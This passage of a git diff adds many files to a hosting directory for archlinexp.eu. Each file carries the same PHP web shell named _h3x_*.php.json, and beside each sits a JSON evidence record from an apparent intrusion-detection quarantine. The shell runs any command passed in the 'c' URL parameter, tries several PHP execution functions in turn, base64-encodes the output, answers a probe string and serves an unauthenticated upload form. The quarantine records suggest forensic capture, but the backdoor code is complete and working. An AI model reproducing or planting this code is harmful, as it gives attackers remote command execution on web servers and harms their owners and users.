+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/_h3x_fiqbuwjw.php.json.json.evidence.json b/var/www/hosting/archlinexp.eu/www/_h3x_fiqbuwjw.php.json.json.evidence.json
new file mode 100644
index 0000000..4d1d418
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/_h3x_fiqbuwjw.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4895",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_fiqbuwjw.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_fiqbuwjw.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783699437,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_fiqbuwjw.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/_h3x_kgetu0xr.php.json b/var/www/hosting/archlinexp.eu/www/_h3x_kgetu0xr.php.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/_h3x_kgetu0xr.php.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/_h3x_kgetu0xr.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/_h3x_kgetu0xr.php.json.evidence.json
new file mode 100644
index 0000000..93426f6
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/_h3x_kgetu0xr.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4909",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_kgetu0xr.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_kgetu0xr.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783909515,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_kgetu0xr.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/_h3x_knton7qj.php.json b/var/www/hosting/archlinexp.eu/www/_h3x_knton7qj.php.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/_h3x_knton7qj.php.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/_h3x_knton7qj.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/_h3x_knton7qj.php.json.evidence.json
new file mode 100644
index 0000000..5f279f4
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/_h3x_knton7qj.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4923",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_knton7qj.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_knton7qj.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783833977,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_knton7qj.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/_h3x_r02w559c.php.json b/var/www/hosting/archlinexp.eu/www/_h3x_r02w559c.php.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/_h3x_r02w559c.php.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/_h3x_r02w559c.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/_h3x_r02w559c.php.json.evidence.json
new file mode 100644
index 0000000..45ae998
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/_h3x_r02w559c.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4878",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_r02w559c.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_r02w559c.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783866127,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_r02w559c.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/_h3x_vimcjrhc.php.json.json b/var/www/hosting/archlinexp.eu/www/_h3x_vimcjrhc.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/_h3x_vimcjrhc.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/_h3x_vimcjrhc.php.json.json.evidence.json b/var/www/hosting/archlinexp.eu/www/_h3x_vimcjrhc.php.json.json.evidence.json
new file mode 100644
index 0000000..be665ce
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/_h3x_vimcjrhc.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4837",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_vimcjrhc.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_vimcjrhc.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783700158,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_vimcjrhc.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/_h3x_vunx1gid.php.json b/var/www/hosting/archlinexp.eu/www/_h3x_vunx1gid.php.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/_h3x_vunx1gid.php.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/_h3x_vunx1gid.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/_h3x_vunx1gid.php.json.evidence.json
new file mode 100644
index 0000000..9dfed6d
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/_h3x_vunx1gid.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4906",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_vunx1gid.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_vunx1gid.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783866424,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_vunx1gid.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/cache/_h3x_9zbnowsb.php.json.json b/var/www/hosting/archlinexp.eu/www/cache/_h3x_9zbnowsb.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/cache/_h3x_9zbnowsb.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/cache/_h3x_9zbnowsb.php.json.json.evidence.json b/var/www/hosting/archlinexp.eu/www/cache/_h3x_9zbnowsb.php.json.json.evidence.json
new file mode 100644
index 0000000..bbdd8e2
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/cache/_h3x_9zbnowsb.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5020",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:cache/_h3x_9zbnowsb.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/cache/_h3x_9zbnowsb.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783699440,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "cache/_h3x_9zbnowsb.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/cache/_h3x_e4pk161f.php.json.json b/var/www/hosting/archlinexp.eu/www/cache/_h3x_e4pk161f.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/cache/_h3x_e4pk161f.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/cache/_h3x_e4pk161f.php.json.json.evidence.json b/var/www/hosting/archlinexp.eu/www/cache/_h3x_e4pk161f.php.json.json.evidence.json
new file mode 100644
index 0000000..8fe6355
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/cache/_h3x_e4pk161f.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5024",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:cache/_h3x_e4pk161f.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/cache/_h3x_e4pk161f.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783700161,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "cache/_h3x_e4pk161f.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/cache/_h3x_r16oprou.php.json.json b/var/www/hosting/archlinexp.eu/www/cache/_h3x_r16oprou.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/cache/_h3x_r16oprou.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/cache/_h3x_r16oprou.php.json.json.evidence.json b/var/www/hosting/archlinexp.eu/www/cache/_h3x_r16oprou.php.json.json.evidence.json
new file mode 100644
index 0000000..603e3f0
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/cache/_h3x_r16oprou.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5016",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:cache/_h3x_r16oprou.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/cache/_h3x_r16oprou.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783837753,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "cache/_h3x_r16oprou.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/files/_h3x_2hjfdfr5.php.json.json b/var/www/hosting/archlinexp.eu/www/files/_h3x_2hjfdfr5.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/files/_h3x_2hjfdfr5.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/files/_h3x_2hjfdfr5.php.json.json.evidence.json b/var/www/hosting/archlinexp.eu/www/files/_h3x_2hjfdfr5.php.json.json.evidence.json
new file mode 100644
index 0000000..7dfe668
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/files/_h3x_2hjfdfr5.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5285",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:files/_h3x_2hjfdfr5.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/files/_h3x_2hjfdfr5.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783837758,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "files/_h3x_2hjfdfr5.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/files/_h3x_aqjg408i.php.json.json b/var/www/hosting/archlinexp.eu/www/files/_h3x_aqjg408i.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/files/_h3x_aqjg408i.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/files/_h3x_aqjg408i.php.json.json.evidence.json b/var/www/hosting/archlinexp.eu/www/files/_h3x_aqjg408i.php.json.json.evidence.json
new file mode 100644
index 0000000..febb061
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/files/_h3x_aqjg408i.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5286",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:files/_h3x_aqjg408i.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/files/_h3x_aqjg408i.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783700163,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "files/_h3x_aqjg408i.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/files/_h3x_vp8mjkv7.php.json.json b/var/www/hosting/archlinexp.eu/www/files/_h3x_vp8mjkv7.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/files/_h3x_vp8mjkv7.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
